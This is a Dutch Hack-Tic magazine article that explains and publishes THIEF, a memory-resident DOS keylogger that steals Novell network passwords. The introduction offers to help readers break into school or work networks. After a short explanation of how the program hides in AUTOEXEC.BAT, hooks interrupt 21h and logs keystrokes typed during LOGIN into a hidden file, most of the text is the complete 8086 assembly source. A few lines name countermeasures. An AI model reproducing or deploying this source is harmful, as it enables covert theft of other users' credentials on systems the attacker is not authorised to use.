;redaktie van The Key, John D., Tx, Herman Acker, Peter Poelman, Paul en Rop. ;Nadruk wordt door de redaktie toegestaan! ;------------------------------------------------------------------------------ ; ; Als je via een Local Area Network onder MS-DOS files wilt kunnen bewerken ;kun je bijna niet om de Novell networksoftware heen. Of je nou op je werk of ;op school met Novell werkt: je hebt altijd te weinig bevoegdheid op het ;systeem. Hack-Tic helpt je door te dringen in het systeem met dit artikel van ;een anonieme auteur. ; ; THIEF is een TSR (Terminate and Stay Resident; geheugen-resident) programma ;voor de IBM-compatible, geschreven in 8086 machinetaal. Het probeert om ;wachtwoorden voor het Novell PC Local Area Netwerk te stellen. De oorsprong ;van THIEF ligt op een school met een bloeiende hack-cultuur: George Washington ;High School in Denver, Colorado USA. ; Deze school is meer dan goed voorzien van IBM micro's. Vijf lokalen van 30 ;computers hangen allemaal via een ethernet aan elkaar. Het netwerk draait ;onder Novell. Vier van de vijf lokalen gebruiken boot-proms [geheugenchips op ;de netwerk-interfacekaart. Zij zorgen ervoor dat er opgestart kan worden ;zonder dat er een disk (of zelfs een drive(!) nodig is op de betreffende ;machine.] voor het opstarten van de PC's. De vijfde ruimte bevat IBM PS/2 ;model 80's(!) met harddisks. De systeembeheerders en andere "power-users" ;maken graag gebruik van deze machines. Deze machines "booten" vanaf hun eigen ;hard-disks, zij gebruiken geen boot-proms. ; Op een van deze computers werd THIEF voor het eerst gesignaleerd. THIEF ;maakt namelijk gebruik van een zwakheid in de beveiliging tijdens de bootfase. ;In de AUTOEXEC.BAT file werd een extra regel toegevoegd die een "verborgen" ;programma op de bootschijf activeerde. Zodra er echter een programma met de ;naam LOGIN wordt uitgevoerd komt THIEF tot leven en hij slaat alle ;toetsaanslagen op in een (eveneens verborgen) file op de boot disk. De ;onbevoegde kan later terugkomen en kijken wat zijn val gevangen heeft. ; Voordat we het "metabolisme" van THIEF verder gaan ontleden eerst even de ;zwakheden die deze hack mogelijk maken: ; -Een boot-proces dat veranderd kan worden ; -Fysieke toegang (door een onbevoegde) tot de computer ; Beide zijn goed te verhelpen. Boot-proms en een slot op de deur en klaar is ;Kees. ; Terug naar het "metabolisme". Nogal verassend is dat het programma dezelfde ;"hook" gebruikt als de Novell shell. Het grijpt de centrale toegang naar DOS: ;interrupt 21h [ (hex) wordt door programma's gebruikt om een DOS functie aan te ;roepen. De Novell-Netware shell onderschept deze stroom om zondig zelf op ;bepaalde verzoeken te reageren. ]. Het onderschept alle aanroepen naar DOS. ;Zodra een EXECute file call wordt gemaakt met de filename LOGIN worden alle ;toetsaanslagen vastgelegd totdat het programma terugkeert naar DOS. Tijdens het ;LOGIN process wordt het Novell wachtwoord ingetikt en dus is de hacker een ;wachtwoord rijker. Het is allemaal nog iets te ingewikkeld: het programma had ;ook gewoon op de speciale Novell inlog functieaanroep kunnen wachten.Maar ach, ;zo werkt het ook. ; Dit soort programma's zijn alles behalve nieuw. Ze zijn net zo oud als ;wachtwoord-beveiliging. Bestudering van dit programma geeft meer inzicht in de ;problematiek van LAN-beveiliging. ; De toekomst zal zeker geheel nieuwe identificatietechnieken brengen. Net zo ;zeker is dat zij begroet zullen worden door geduldige, enigszins doortrapte ;genialiteit. ; ; Opmerking: THIEF werd door zijn maker ook wel eens GETIT genoemd. De maker ;was gelukkig onvoorzichtig genoeg om de sourcecode te laten slingeren. ; ; ; DE CODE VAN THIEF: ; ; cseg segment assume cs:cseg,ds:cseg org 100h public oi21,ac,ob,fn,fh,flag,ni21,jtov,oc,lethro,wpwtf,exist,create, public cntr,lits,begin .RADIX 16 start: push cs push cs push cs pop ds pop es mov ax,0fffeh CLI pop ss mov sp,ax STI jmp begin oi21 dd ? ac dw 0 ob dw 80h dup (?) buff2 db 80h dup (?) fn db 'c:\testing.tmp',0,' ' search1 db 'LOGIN' foundf db 0 fh dw 0 flag db 0 cntr dw 0 ni21: assume cs:cseg,ds:nothing,es:nothing cmp ax,4b00h je exec cmp foundf,0ffh jne nc cmp ah,8 je oc cmp ah,7 je oc nc: push ax mov al,cs:flag not al cmp al,0 jne jtov mov ax,cntr inc ax mov cntr,ax cmp ax,31h jb jtov xor ax,ax mov cntr,ax mov flag,al pop ax pushf call dword ptr [oi21] push ds push cs pop ds push ax push bx push cx push dx jmp short wpwtf jtov: pop ax jmp dword ptr cs:[oi21] exec: call scanfor jmp nc oc: pushf call dword ptr cs:[oi21] assume ds:cseg push ds push cs pop ds push ax push bx push cx push dx mov bx,ac mov [bx],al inc bx mov [ac],bx cmp al,0dh jne lethro mov byte ptr [bx],0ah not cs:[flag] lethro: pop dx pop cx pop bx pop ax pop ds iret scanfor: push ax push di push si push es push ds push cs push cs pop es mov si,dx mov di,offset buff2 moveit: lodsb and al,0dfh stosb or al,al jnz moveit pop ds mov di,offset buff2 look: push di mov si,offset search1 mov cx,5 repe cmpsb pop di or cx,cx jz foundit inc di cmp byte ptr [di+5],0 je not_found jmp look not_found: xor ax,ax mov foundf,al jmp short endofsearch foundit: mov ax,0ffh mov foundf,al endofsearch: pop ds pop es pop si pop di pop ax ret wpwtf: mov ax,3d02h mov dx,offset fn pushf call dword ptr [oi21] jnc exist cmp al,2 je create jmp lethro create: mov ah,3ch mov dx,offset fn mov cx,02h+04h pushf call dword ptr [oi21] jnc exist jmp lethro exist: mov fh,ax mov bx,ax mov ax,4202h xor cx,cx xor dx,dx pushf call dword ptr [oi21] mov cx,[ac] mov dx,offset ob sub cx,dx mov [ac],dx inc cx mov bx,fh mov ah,40h pushf call dword ptr [oi21] mov ah,3eh mov bx,fh pushf call dword ptr [oi21] jmp lethro lits db 90h begin: mov ax,offset ob mov [ac],ax mov ax,3521h int 21h mov di,offset oi21 mov [di],bx mov [di+2],es mov dx,offset ni21 push cs pop ds mov ax,2521h int 21h mov dx,offset lits int 27h cseg ends end start